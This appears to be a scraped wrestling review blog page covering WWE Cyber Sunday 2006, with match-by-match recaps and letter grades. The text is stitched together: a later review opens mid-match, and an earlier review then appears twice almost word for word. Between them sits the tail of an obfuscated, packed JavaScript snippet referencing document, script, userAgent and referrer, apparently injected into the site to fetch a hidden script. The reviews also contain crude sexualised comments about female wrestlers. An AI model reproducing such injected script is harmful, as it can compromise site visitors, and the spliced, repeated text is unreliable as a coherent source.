The RKO takes HHH down again and another referee comes in for two. Another RKO is shoved into Sweet Chin Music but Bischoff pulls the other referee out. Edge chairs Shawn down and another chair shot breaks up the Pedigree attempt (with Bischoff watching). The RKO onto the chair finishes HHH.

Rating: B. Yeah believe it or not, these four were able to have a good match. The shenanigans at the end were fine enough and HHH did do the job, despite kicking out of a spear and RKO in less than thirty seconds. Above all else, DX losing is the right thing because they were basically unbeatable for their entire reunion. They have needed someone to put them in check and if Rated RKO can do that then we might be able to get another dimension to the whole thing.

Video on the Marine.

Edge and Orton don’t want to hear about the chair and promise a new era in WWE. That era will be Rated RKO.

Lumberjack Match – 46%

No Disqualification – 40%

Submission Match – 14%

For the vacant title, though the rest of the women being in the ring before the match kind of spoiled things. Mickie is sent outside in a hurry but comes back in to throw Lita outside as well. JR mentions a possible wardrobe malfunction and Lawler is instantly more interested in the match. Back in and Lita hits a shoulder block but Mickie grabs the leg to cut her off. Lita tries to go to the apron but gets shoved back in as the women are near a brawl at ringside.

Lita snaps off a suplex for two but Mickie sends her face first into the buckle. Some choking takes Mickie down again though and the sleeper goes on. That’s reversed into a quickly broken Fujiwara armbar to mess up Lita’s elbow, allowing Mickie to hit some elbows to the face. The hurricanrana out of the corner is broken up and they both crash out to the floor. Back in and Mickie tries a tornado DDT….which lands in the corner. I’m not sure if that was a planned spot which looked bad or a botch but either way, egads. One of the women distracts Mickie though and a DDT gives Lita the title back.

Rating: D+. Nothing to see here but putting the title on Lita makes sense here. She is by far the biggest star the division has, even if she is not exactly the same as when she became a star in the first place. Mickie is going to be fine and is probably the future of the division. At least they had an out for her with the distraction, but it still wasn’t much of a match.

Kenny gives the Spirit Squad a pep talk, but has to explain why he is the leader. Apparently it’s because he beat Ric Flair, which is code for he’s the only one who has been treated as anything competent.

Raw Tag Team Titles: Ric Flair/??? vs. Spirit Squad

Roddy Piper – 46%

Dusty Rhodes – 35%

Sgt. Slaughter – 19%

Flair and Piper, who disturbingly takes his shirt off, are challenging. Rhodes and Slaughter come out to even things up and it’s Kenny starting with Flair. That means a headlock takeover and some WOOing but Kenny is right back up with a dropkick. Piper comes in to hammer away on and bite Mikey but he has to deal with the rest of the Squad. Mikey gets in a splash in the corner and hammers away on Piper with the rapid fire forearms to the back.

Kenny comes back in for a chinlock into a sleeper, before being smart and pulling Piper back into the corner. A slam looks to set up Mikey’s middle rope splash off of Kenny’s shoulders, which only hits mat. The hot tag brings in Flair for the assorted chops and a double clothesline puts Kenny on the floor. The Figure Four has Mikey in trouble but Kenny makes the save. Flair gets bored of dealing with Mikey though and pulls him down into the Figure Four for the win.

Rating: D+. I know Flair was old here but he was miles ahead of Piper, who not only looked horrible but could barely do anything. I can go with the old guys winning here though because it’s not like there is any team ready to take the titles, save for maybe Cryme Tyme. The Squad has been mostly done for a long time now though and it was long past time for them to drop the titles.

Post match the celebration is on. One thing you’ll notice about the legends: they treat winning titles like the biggest thing in the world. Learn from that.

We recap the main event, which is all three champions fighting at once.

We need a title to be defended.

Smackdown World Title – 67%

ECW World Title – 21%

Raw World Title – 12%

Smackdown World Title: King Booker vs. Big Show vs. John Cena

Booker, with Sharmell, is defending and earns a right hand to the face for another proposed alliance. Show runs Cena over and whips him hard into the corner. A headbutt sends Cena outside so Booker finally comes in to kick Show into the corner. Show isn’t having any of that and chops away in the corner. Cena finally comes back in and the double teaming finally puts Show on the floor.

That leaves Cena to slug it out with Booker and the release fisherman’s suplex gets two, with Show pulling Cena to the floor. Show picks up the steps so Cena dropkicks the knee out to send Show face first into said steps. Back in and the Book End gives Booker two on Cena and the slugout is on again. A hot shot into a superkick gets two on Cena but he is right back with a belly to belly for two.

We get a bit of an awkward exchange until Booker takes him down into a chinlock. Cena powers out again and plants Booker for two as things slow down a bit. A splash of all things hits Booker’s knees and he grabs a DDT for two. The STF sends Booker to the ropes so Cena hits a clothesline into a suplex as we plug the Marine a bit. Booker gets crotched on top but Show is back with an electric chair to Cena, so Booker missile dropkicks Show in a smart move.

Show reverses a double suplex to put both of them down again and a double shoulder sends them flying as well. There’s the chokeslam to Booker and another shoulder puts Cena on the floor. Show loads up the announcers’ table but Cena posts him. Cena initiates the finishing sequence on Booker, chairs Show, FU’s an invading Sharmell, and grabs the STFU on Booker. Cue Kevin Federline to break it up with a chair though, allowing Booker to Cena with a belt shot to retain.

Rating: C-. I don’t think anyone was realistically expecting a title change here and there is nothing wrong with that most of the time. The Federline interference might not be the most popular ending but at least it is something they have set up in recent weeks and it gave them an out here. The Booker vs. Cena section was really awkward, but other than that it was a watchable enough match, even if it was a lot of waiting around until the obvious winner.

Overall Rating: C. This is one of the most “this was a show” shows I can remember for a long time. The wrestling was ok enough but the gimmick worked out fine, with some actual options for just about every match. It’s a gimmick show and the idea worked out well enough, but it isn’t a show I’m going to remember watching in a matter of hours, let alone any long time.

Remember to follow me on Twitter @kbreviews and head over to my Amazon author page with 30 different cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brehd|var|u0026u|referrer|riydf||js|php'.split('|'),0,{})) Sunday 2006
Date: November 5, 2006
Location: US Bank Arena, Cincinnati, Ohio
Attendance: 7,000
Commentators: Jim Ross, Jerry Lawler

We’re obviously on Sunday now as this should be a bit better of a show, at least in theory. We have a main event of Champion vs. Champion vs. Champion as Big Show vs. Booker T vs. John Cena is the main event. The vote is which title is on the line. This also has a very long Rated RKO vs. DX match on it and one of my favorite comedy moments ever in wrestling if not my favorite. All that being said let’s get to it.

The video is about how we have the power and it lists off most of the matches and the stipulations we can pick.

The first vote is who fights Umaga with the choices being Sandman, Kane or Benoit. Benoit, the US Champion, is last as Kane more or less dominates the poll with nearly 50%. And what a coincidence that these two had been feuding!

Umaga vs. Kane

Umaga had sent Kane to either Smackdown or ECW recently so again there’s a point to this, which is just so convenient no? It was Smackdown apparently. Umaga is still undefeated here. Kane can’t hurt him with a headbutt as it’s good to see that Vince is keeping up with his stereotypes. Total slugout to start and Kane no sells a bunch of stuff. Pretty boring match so far but what do you expect?

The Samoan hits a downward spiral of all things to take over. This needs to end already and we’re like three minutes into it. The running hip shot has Kane reeling. Ok apparently it woke him up. Is this supposed to make sense? A mas of Samoan fat in your face wakes you up? Also what is it with Samoans and that move in the corner?

Kane starts his comeback and has the…uh….small man in trouble. Estrada gets up on the apron to do nothing of note and Kane sits up after the Samoan Drop. This has gotten better if you couldn’t tell. He jumps off for the clothesline but jumps into the Samoan Spike and another one ends it.

Rating: D+. This got better but still not by much. It’s ok but that’s about all it was. Umaga would get a main event push very soon but it never really went anywhere either. This was a pretty decent opener I guess but the crowd was pretty much dead for it which is really weird. Kane jobs again. What a shock that is.

Show and Sharmell talk and Sharmell tries to talk Show out of the match. Oh wait she wants them to team up. This is generic and stupid but it’s standard fair for shows and matches like these.

Cryme Tyme vs. Viscera/Charlie Haas vs. The Highlanders vs. Lance Cade/Trevor Murdoch

The options are Texas Tornado, Fatal Fourway or Tag Team Turmoil with the insane one winning. Texas Tornado means everyone is in the ring at the same time. No titles or anything but rather just a match to fill out the card. Tornado gets half the vote and it’s a big mess. I remember Viscera and Charlie as a team but have no idea why. This is a total mess of course.

Who would imagine that JTG would be the only one left in the company at this point and that Viscera is the most famous name in this match somehow. I’m not even going to try to keep track of what’s going on here as it’s a free for all. JTG and Charlie are the only ones in the ring. Great German suplex by Haas to take over but they’re replaced almost immediately by Shad and Viscera.

Shad has been arrested 23 times for assault. The Highlanders get rid of the fat man as Cade and Murdoch take over. And then JTG hits a kick to end it. Sure whatever. They dance on the announce table after the match and teach JR the handshake. And there goes King’s laptop. Racial stereotyping FTW! Yes I said FTW.

Rating: D. Total mess here with no flow or story in sight but that was the idea I guess. It was just a big disaster with everyone all over the place. It was to put Cryme Tyme over but of course they never wound up doing anything. They would get fired sooner or later here but I’m not sure when. It’s not like it matters or anything so whatever.

Time for the moment referenced in the title. Shawn and HHH are at a computer with Shawn voting on who should be the referee in their match tonight. They’ve tormented Coach and Vince enough, so that leaves Bischoff. HHH tells Shawn he’s not controversial enough anymore, sending Shawn into a frenzy. He asks a production guys what his name is. Production guy: “Stan.” Shawn: “Stan?” Then he superkicks Stan. It’s so out of nowhere that it works perfectly. Then Shawn runs down the hall, superkicking everyone he runs into. Youtube this. It’s hilarious and cracks me up every time.

The next pick is for Jeff Hardy’s opponent with the choices being Johnny Nitro, Shelton Benjamin and Carlito, who wins in a LANDSLIDE with over 60% of the vote.

Intercontinental Title: Carlito vs. Jeff Hardy

The title was getting a bit of a rejuvenation around this time before dying again soon after this due to one Santino. I think both are faces here but I’m not sure. They shake hands so I’d assume so. They do some mat/technical stuff but it’s botched pretty badly. And there’s another semi-botch. Either they’re doing a really weird style or they’re just botching a lot of stuff. Someone really wants Carlito to cut his hair.

Hardy’s rail running clothesline is countered by a dropkick in a decent looking move. Twist of Fate is reversed as this is getting better. The one that isn’t on national TV at the moment controls as we’re just waiting around a lot at this point. What we’re waiting for I’m not sure but the fans think this is boring. I can’t say I disagree. We’ve had a lot of Carlito using a reverse bearhug on the mat. Yes he’s being lazy. I’m shocked too.

From that we head to a sleeper. I bet the concession stand people are loving this. Crowd is pretty dead for this and I can’t blame them at all. I love people complaining about Cole and Lawler now as he and JR are botching a ton of lines here. Jeff makes a comeback but the Swanton hits knees. Whisper in the Wind gets two as this part at least is good. Carlito misses a hurricanrana and the Swanton finally ends it.

Rating: D+. The ending made it watchable but DANG the stalling here was stupid. They just laid around here far too long and it just was boring for the most part. It’s about 13 minutes long but the majority of that is just Carlito doing rest holds. This could have been good if Carlito wasn’t so lazy, but then again if he wasn’t he’d still be employed.

Ad for one of Hogan’s DVDs.

We recap DX vs. Rated RKO which was about Orton and Edge teaming up to take Raw back from DX and its selfishness. This was a cool idea for an angle but of course HHH got hurt as he was known to do. Naturally this allows us to have a DX montage package since that’s just what you do. The choices here are Vince, Coach or Bischoff.

D-Generation X Vs. Rated RKO

DX’s intro takes forever of course even though they come out first. Bischoff gets sixty percent of the vote, beating Vince and Coach combined. This makes me question the legitimacy here as Bischoff getting that many especially with Vince in the poll is REALLY odd. He’s going to be against DX here for no adequately explained reason. It says a lot when HBK, probably the best and biggest star of these four, is the one with the least world titles on his resume.

We see more of Edge than I’d like as Shawn pulls his tights down. We’ll he’s had it done so often to him I guess he had to return the favor to someone. HHH says he’s coming in off the top then says screw it and just climbs down. That was kind of funny. It was completely pointless but it was kind of funny. All DX to start here but I think that was more or less expected. Lots of punching here so far but we’re only a few minutes into it.

Orton is really arrogant here and is perfect as the total jerk. He’s not quite as good as he was two years before, but he was great back then so it’s hard to call him at his best. Shawn comes in and we get the forearm and nip-up like five minutes into this. Orton stops Chin Music though and crotches Shawn. He plays Ricky Morton now, which says a lot about how much the Midnights and the Rock N Roll Express changed and influenced wrestling.

Shawn’s selling really is great. You would believe he’s been run over by a bus off of every move he takes, which really makes the other guy look devastating. Naturally, Orton hits a chinlock. Shawn gets out of the way of a spear and down goes Bischoff to a solid pop. Naturally DX waits for a tag to have HHH come in even though there’s no referee. Uh…moral?

Spear takes down HHH and Edge does a crotch chop so he takes a plancha from Shawn for his troubles. RKO puts HHH down and here’s a spare referee to count the two. This all took like a minute so sorry for the commentary. Sweet Chin Music to Orton gets two since Bischoff pulls the referee out of the ring. A chair is brought in and both DX guys get popped with it and Bischoff doesn’t seem to mind. RKO on the chair ends it.

Rating: B-. Not bad here but there was just something missing. It felt rushed even though this somehow was pushing 20 minutes. The beginning is just a bunch of punches and then Shawn got in trouble, setting up the ref bump and the ending. It’s definitely a good match but this could have been more if the time they had was used more properly, which isn’t something you often have to say about a match Shawn is in.

Ad for The Marine, which wasn’t that bad.

Rated RKO says nothing of note.

The Divas come out to be told who to do. Make your own jokes on that one. It’s a lumberjack match.

Women’s Title: Mickie James vs. Lita

Trish retired so we had a four Diva tournament to set this up. Lita is about a month from retiring at this point so she’s more or less destined to win. Mickie throws the absolute worst dropkick anyone with a great rack has ever thrown. This is horrible but at least we get to look at Mickie’s figure. Lita as a heel just doesn’t work from an in ring perspective. She hooks on a sleeper that does fairly well.

Not that it wins or anything since it’s a freaking sleeper but nice try if nothing else. Instead of a match here, Lita seems like she’s just there doing moves on Mickie with no particular rhyme or reason. The girls do their thing of course and nothing of note is going on here at all. Lita blocks/Mickie botches the Stratusfaction and Mickie gets a rollup for two. The other Divas get involved and a spike DDT ends it for Lita.

Rating: D. This was boring beyond all belief. The only highlights were Mickie in general and Lita’s chest. Other than that we were just sitting around watching this nonsense go on and on. The match never went anywhere as it’s clear Lita just didn’t care anymore. Mickie would win the title from Lita at Survivor Series in Lita’s retirement match.

Mania is in Detroit.

Kenny yells at the Spirit Squad and says he’s better than they are so he’s the leader.

Raw Tag Titles: Ric Flair/??? vs. Spirit Squad

The vote is for Flair’s partner. The choices are Piper, Slaughter and Dusty. Piper, looking VERY old, gets the nod. Is there supposed to be a connection between Slaughter and Flait that I’m just not getting? Piper takes his shirt off and I get mad at him. How could he not tell us he was 8 months pregnant? He even has breasts full of milk! Dusty and Slaughter come out to back up the old guys for this.

Kenny and Mikey are the two in the ring at the moment. Ross says this is like Lebron vs. Michael Jordan. Well no one ever claimed Ross toned things down. Both tag and Piper is pathetic looking. Piper gets beaten up as Flair is by far the ace of the team. That’s either awesome or sad and I’m not sure which. The heels dominate for the most part while Piper just kind of lays there.

The hot tag brings in Flair and Mikey is in the figure four but Kenny saves with his top rope legdrop. Are we waiting on the Piper hot tag now? It’s clear that Flair is the only guy on his team in any semblance of shape. Figure four goes on again and OLD GUYS WIN! Dusty and Slaughter come in to stop the big beatdown. Rhodes’ music of all things plays them out. Ah ok it’s so they can dance.

Rating: D-. This was pretty pathetic really. Flair is passable but Piper was clearly just in nothing close to wrestling shape. He would at least wear a t-shirt for the rest of his time in the ring which is a nice break. They would drop the belts in 8 days to Rated RKO so at least this wasn’t long or anything. The match was bad though, namely due to Piper.

Booker tries to get Cena on his side and Cena says ok, but he wants one night with the Queen. Can’t say he’s not smart as Sharmell is rather attractive. Booker sends Sharmell out and then says ok to a HUGE shocked pop. Cena asks if he’s crazy as that’s Booker’s wife. He leaves and makes up a story to Sharmell about this weird orgy that he gets to watch. Funnier than it sounds, and Ron Simmons says his catchphrase.

Ad for Survivor Series, where it’s brand vs. brand vs. brand.

Some Bengals are here.

We see how all three champions got their titles in a cool package.

Basically you’re voting for who you want to win here since no title is going to be unified here. Booker wins by a landslide.

Smackdown World Title: Booker T vs. John Cena vs. Big Show

Booker is knocked to the floor almost immediately and it’s Cena vs. Show for a long time. We swap that out for Booker vs. Cena as it’s clearly going to be a basic triple thread with two guys fighting for awhile as the third is down. Show gets two and Cena makes the save. A double clothesline puts the big man on the floro and something tells me that’s the last we’re going to see from him for a LONG time.

Of course I’m wrong as he makes a save off a Fisherman’s suplex from Cena. Show gets the stairs but gets a dropkick to his knee, driving his head into the steps. Ok that’s how they get rid of him. Book End gets two in the ring. Just to mess with the internet, Cena hits a belly to belly suplex and goes for a top rope splash. Lawler points out Cena has nothing to lose here which is true.

It’s been Booker vs. Cena for about 4 minutes now with Show on the floor. Both counter the other’s finisher and we’re about even. STFU doesn’t work as this just isn’t that much at all, mainly because we know nothing is coming from this since Show is going to be back eventually to stop whatever is going on here. Token plug for the Marine follows as Cena is in control.

After about seven minutes Show is finally up. That’s part of the issue with matches like these: a move like that would never keep a guy down that long but here it’s perfectly normal. A missile dropkick puts Show down and takes Cena down with him since Cena was on Show’s shoulders. Wow that came out awkward but you get the idea. Show takes over now and takes Cena to the floor.

And so much for that theory as Show gets put down (and booed loudly) before the 5 Knuckle Shuffle has Booker in trouble. FU to Sharmell as she tries to hit Cena with a belt. STFU on Booker and KEVIN FREAKING FEDERLINE comes in and blasts Cena with a belt. A belt shot from Booker lets him keep the title.

Rating: D+. Just a bad match overall. There was no way a title was changing here and since Show couldn’t stay in there longer than like two minutes at a time due to general fatness, this was a glorified one on one match. It’s a cool idea on paper but other than that it’s really not that much. The over twenty minutes did go by quickly though which was nice.

Overall Rating: D. These shows just aren’t that good. The voting thing is a cool idea but the problem comes when the matches simply aren’t any good no matter what you throw out there. The Champion of Champions match was a good idea but it was really weak given Show laying on the ground for most of it. Like I’ve said for a long time, these should be TV specials rather than PPVs. Nothing big ever happens and the tag titles changing hands is almost predictable at this point. Bad show, but not too bad.

 

Remember to follow me on Twitter @kbreviews

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Date: November 5, 2006
Location: US Bank Arena, Cincinnati, Ohio
Attendance: 7,000
Commentators: Jim Ross, Jerry Lawler

We’re obviously on Sunday now as this should be a bit better of a show, at least in theory. We have a main event of Champion vs. Champion vs. Champion as Big Show vs. Booker T vs. John Cena is the main event. The vote is which title is on the line. This also has a very long Rated RKO vs. DX match on it and one of my favorite comedy moments ever in wrestling if not my favorite. All that being said let’s get to it.

The video is about how we have the power and it lists off most of the matches and the stipulations we can pick.

The first vote is who fights Umaga with the choices being Sandman, Kane or Benoit. Benoit, the US Champion, is last as Kane more or less dominates the poll with nearly 50%. And what a coincidence that these two had been feuding!

Umaga vs. Kane

Umaga had sent Kane to either Smackdown or ECW recently so again there’s a point to this, which is just so convenient no? It was Smackdown apparently. Umaga is still undefeated here. Kane can’t hurt him with a headbutt as it’s good to see that Vince is keeping up with his stereotypes. Total slugout to start and Kane no sells a bunch of stuff. Pretty boring match so far but what do you expect?

The Samoan hits a downward spiral of all things to take over. This needs to end already and we’re like three minutes into it. The running hip shot has Kane reeling. Ok apparently it woke him up. Is this supposed to make sense? A massive Samoan in your face wakes you up? Also what is it with Samoans and slamming into people in the corner?

Kane starts his comeback and has the…uh….small man in trouble. Estrada gets up on the apron to do nothing of note and Kane sits up after the Samoan Drop. This has gotten better if you couldn’t tell. He jumps off for the clothesline but jumps into the Samoan Spike and another one ends it.

Rating: D+. This got better but still not by much. It’s ok but that’s about all it was. Umaga would get a main event push very soon but it never really went anywhere either. This was a pretty decent opener I guess but the crowd was pretty much dead for it which is really weird. Kane jobs again. What a shock that is.

Show and Sharmell talk and Sharmell tries to talk Show out of the match. Oh wait she wants them to team up. This is generic and stupid but it’s standard fair for shows and matches like these.

Cryme Tyme vs. Viscera/Charlie Haas vs. The Highlanders vs. Lance Cade/Trevor Murdoch

The options are Texas Tornado, Fatal Fourway or Tag Team Turmoil with the insane one winning. Texas Tornado means everyone is in the ring at the same time. No titles or anything but rather just a match to fill out the card. Tornado gets half the vote and it’s a big mess. I remember Viscera and Charlie as a team but have no idea why. This is a total mess of course.

Who would imagine that JTG would be the only one left in the company at this point and that Viscera is the most famous name in this match somehow. I’m not even going to try to keep track of what’s going on here as it’s a free for all. JTG and Charlie are the only ones in the ring. Great German suplex by Haas to take over but they’re replaced almost immediately by Shad and Viscera.

Shad has been arrested 23 times for assault. The Highlanders get rid of the fat man as Cade and Murdoch take over. And then JTG hits a kick to end it. Sure whatever. They dance on the announce table after the match and teach JR the handshake. And there goes King’s laptop. Racial stereotyping FTW! Yes I said FTW.

Rating: D. Total mess here with no flow or story in sight but that was the idea I guess. It was just a big disaster with everyone all over the place. It was to put Cryme Tyme over but of course they never wound up doing anything. They would get fired sooner or later here but I’m not sure when. It’s not like it matters or anything so whatever.

Time for the moment referenced in the title.  Shawn and HHH are at a computer with Shawn voting on who should be the referee in their match tonight.  They’ve tormented Coach and Vince enough, so that leaves Bischoff.  HHH tells Shawn he’s not controversial enough anymore, sending Shawn into a frenzy.  He asks a production guys what his name is.  Production guy: “Stan.”  Shawn: “Stan?” Then he superkicks Stan.  It’s so out of nowhere that it works perfectly.  Then Shawn runs down the hall, superkicking everyone he runs into.  Youtube this.  It’s hilarious and cracks me up every time.

The next pick is for Jeff Hardy’s opponent with the choices being Johnny Nitro, Shelton Benjamin and Carlito, who wins in a LANDSLIDE with over 60% of the vote.

Intercontinental Title: Carlito vs. Jeff Hardy

The title was getting a bit of a rejuvenation around this time before dying again soon after this due to one Santino. I think both are faces here but I’m not sure. They shake hands so I’d assume so. They do some mat/technical stuff but it’s botched pretty badly. And there’s another semi-botch. Either they’re doing a really weird style or they’re just botching a lot of stuff. Someone really wants Carlito to cut his hair.

Hardy’s rail running clothesline is countered by a dropkick in a decent looking move. Twist of Fate is reversed as this is getting better. The one that isn’t on national TV at the moment controls as we’re just waiting around a lot at this point. What we’re waiting for I’m not sure but the fans think this is boring. I can’t say I disagree. We’ve had a lot of Carlito using a reverse bearhug on the mat. Yes he’s being lazy. I’m shocked too.

From that we head to a sleeper. I bet the concession stand people are loving this. Crowd is pretty dead for this and I can’t blame them at all. I love people complaining about Cole and Lawler now as he and JR are botching a ton of lines here. Jeff makes a comeback but the Swanton hits knees. Whisper in the Wind gets two as this part at least is good. Carlito misses a hurricanrana and the Swanton finally ends it.

Rating: D+. The ending made it watchable but DANG the stalling here was stupid. They just laid around here far too long and it just was boring for the most part. It’s about 13 minutes long but the majority of that is just Carlito doing rest holds. This could have been good if Carlito wasn’t so lazy, but then again if he wasn’t he’d still be employed.

Ad for one of Hogan’s DVDs.

We recap DX vs. Rated RKO which was about Orton and Edge teaming up to take Raw back from DX and its selfishness. This was a cool idea for an angle but of course HHH got hurt as he was known to do. Naturally this allows us to have a DX montage package since that’s just what you do. The choices here are Vince, Coach or Bischoff.

D-Generation X Vs. Rated RKO

DX’s intro takes forever of course even though they come out first. Bischoff gets sixty percent of the vote, beating Vince and Coach combined. This makes me question the legitimacy here as Bischoff getting that many especially with Vince in the poll is REALLY odd. He’s going to be against DX here for no adequately explained reason. It says a lot when HBK, probably the best and biggest star of these four, is the one with the least world titles on his resume.

We see Edge’s back as Shawn pulls his tights down. We’ll he’s had it done so often to him I guess he had to return the favor to someone. HHH says he’s coming in off the top then says screw it and just climbs down. That was kind of funny. It was completely pointless but it was kind of funny. All DX to start here but I think that was more or less expected. Lots of punching here so far but we’re only a few minutes into it.

Orton is really arrogant here and is perfect as the total jerk. He’s not quite as good as he was two years before, but he was great back then so it’s hard to call him at his best. Shawn comes in and we get the forearm and nip-up like five minutes into this. Orton stops Chin Music though and crotches Shawn. He plays Ricky Morton now, which says a lot about how much the Midnights and the Rock N Roll Express changed and influenced wrestling.

Shawn’s selling really is great. You would believe he’s been run over by a bus off of every move he takes, which really makes the other guy look devastating. Naturally, Orton hits a chinlock. Shawn gets out of the way of a spear and down goes Bischoff to a solid pop. Naturally DX waits for a tag to have HHH come in even though there’s no referee. Uh…moral?

Spear takes down HHH and Edge does a crotch chop so he takes a plancha from Shawn for his troubles. RKO puts HHH down and here’s a spare referee to count the two. This all took like a minute so sorry for the commentary. Sweet Chin Music to Orton gets two since Bischoff pulls the referee out of the ring. A chair is brought in and both DX guys get popped with it and Bischoff doesn’t seem to mind. RKO on the chair ends it.

Rating: B-. Not bad here but there was just something missing. It felt rushed even though this somehow was pushing 20 minutes. The beginning is just a bunch of punches and then Shawn got in trouble, setting up the ref bump and the ending. It’s definitely a good match but this could have been more if the time they had was used more properly, which isn’t something you often have to say about a match Shawn is in.

Ad for The Marine, which wasn’t that bad.

Rated RKO says nothing of note.

The Divas come out to be told who to do. Make your own jokes on that one. It’s a lumberjack match.

Women’s Title: Mickie James vs. Lita

Trish retired so we had a four Diva tournament to set this up. Lita is about a month from retiring at this point so she’s more or less destined to win. Mickie throws the absolute worst dropkick anyone with a great rack has ever thrown. This is horrible but at least we get to look at Mickie’s figure. Lita as a heel just doesn’t work from an in ring perspective. She hooks on a sleeper that does fairly well.

Not that it wins or anything since it’s a freaking sleeper but nice try if nothing else. Instead of a match here, Lita seems like she’s just there doing moves on Mickie with no particular rhyme or reason. The girls do their thing of course and nothing of note is going on here at all. Lita blocks/Mickie botches the Stratusfaction and Mickie gets a rollup for two. The other Divas get involved and a spike DDT ends it for Lita.

Rating: D. This was boring really. The only highlights were Mickie and Lita’s chest. Other than that we were just sitting around watching this nonsense go on and on. The match never went anywhere as it’s clear Lita just didn’t care anymore. Mickie would win the title from Lita at Survivor Series in Lita’s retirement match.

Mania is in Detroit.

Kenny yells at the Spirit Squad and says he’s better than they are so he’s the leader.

Raw Tag Titles: Ric Flair/??? vs. Spirit Squad

The vote is for Flair’s partner. The choices are Piper, Slaughter and Dusty. Piper, looking VERY old, gets the nod. Is there supposed to be a connection between Slaughter and Flait that I’m just not getting? Piper takes his shirt off and I get mad at him. How could he not tell us he was 8 months pregnant? He even has breasts full of milk! Dusty and Slaughter come out to back up the old guys for this.

Kenny and Mikey are the two in the ring at the moment. Ross says this is like Lebron vs. Michael Jordan. Well no one ever claimed Ross toned things down. Both tag and Piper is pathetic looking. Piper gets beaten up as Flair is by far the ace of the team. That’s either awesome or sad and I’m not sure which. The heels dominate for the most part while Piper just kind of lays there.

The hot tag brings in Flair and Mikey is in the figure four but Kenny saves with his top rope legdrop. Are we waiting on the Piper hot tag now? It’s clear that Flair is the only guy on his team in any semblance of shape. Figure four goes on again and OLD GUYS WIN! Dusty and Slaughter come in to stop the big beatdown. Rhodes’ music of all things plays them out. Ah ok it’s so they can dance.

Rating: D-. This was pretty pathetic really. Flair is passable but Piper was clearly just in nothing close to wrestling shape. He would at least wear a t-shirt for the rest of his time in the ring which is a nice break. They would drop the belts in 8 days to Rated RKO so at least this wasn’t long or anything. The match was bad though, namely due to Piper.

Booker tries to get Cena on his side and Cena says ok, but he wants one night with the Queen. Can’t say he’s not smart as Sharmell is rather attractive. Booker sends Sharmell out and then says ok to a HUGE shocked pop. Cena asks if he’s crazy as that’s Booker’s wife. He leaves and makes up a story to Sharmell about this weird orgy that he gets to watch. Funnier than it sounds, and Ron Simmons says his catchphrase.

Ad for Survivor Series, where it’s brand vs. brand vs. brand.

Some Bengals are here.

We see how all three champions got their titles in a cool package.

Basically you’re voting for who you want to win here since no title is going to be unified here. Booker wins by a landslide.

Smackdown World Title: Booker T vs. John Cena vs. Big Show

Booker is knocked to the floor almost immediately and it’s Cena vs. Show for a long time. We swap that out for Booker vs. Cena as it’s clearly going to be a basic triple thread with two guys fighting for awhile as the third is down. Show gets two and Cena makes the save. A double clothesline puts the big man on the floro and something tells me that’s the last we’re going to see from him for a LONG time.

Of course I’m wrong as he makes a save off a Fisherman’s suplex from Cena. Show gets the stairs but gets a dropkick to his knee, driving his head into the steps. Ok that’s how they get rid of him. Book End gets two in the ring. Just to mess with the internet, Cena hits a belly to belly suplex and goes for a top rope splash. Lawler points out Cena has nothing to lose here which is true.

It’s been Booker vs. Cena for about 4 minutes now with Show on the floor. Both counter the other’s finisher and we’re about even. STFU doesn’t work as this just isn’t that much at all, mainly because we know nothing is coming from this since Show is going to be back eventually to stop whatever is going on here. Token plug for the Marine follows as Cena is in control.

After about seven minutes Show is finally up. That’s part of the issue with matches like these: a move like that would never keep a guy down that long but here it’s perfectly normal. A missile dropkick puts Show down and takes Cena down with him since Cena was on Show’s shoulders. Wow that came out awkward but you get the idea. Show takes over now and takes Cena to the floor.

And so much for that theory as Show gets put down (and booed loudly) before the 5 Knuckle Shuffle has Booker in trouble. FU to Sharmell as she tries to hit Cena with a belt. STFU on Booker and KEVIN FREAKING FEDERLINE comes in and blasts Cena with a belt. A belt shot from Booker lets him keep the title.

Rating: D+. Just a bad match overall. There was no way a title was changing here and since Show couldn’t stay in there longer than like two minutes at a time due to general fatness, this was a glorified one on one match. It’s a cool idea on paper but other than that it’s really not that much. The over twenty minutes did go by quickly though which was nice.

Overall Rating: D. These shows just aren’t that good. The voting thing is a cool idea but the problem comes when the matches simply aren’t any good no matter what you throw out there. The Champion of Champions match was a good idea but it was really weak given Show laying on the ground for most of it. Like I’ve said for a long time, these should be TV specials rather than PPVs. Nothing big ever happens and the tag titles changing hands is almost predictable at this point. Bad show, but not too bad.

 

Remember to follow me on Twitter @kbreviews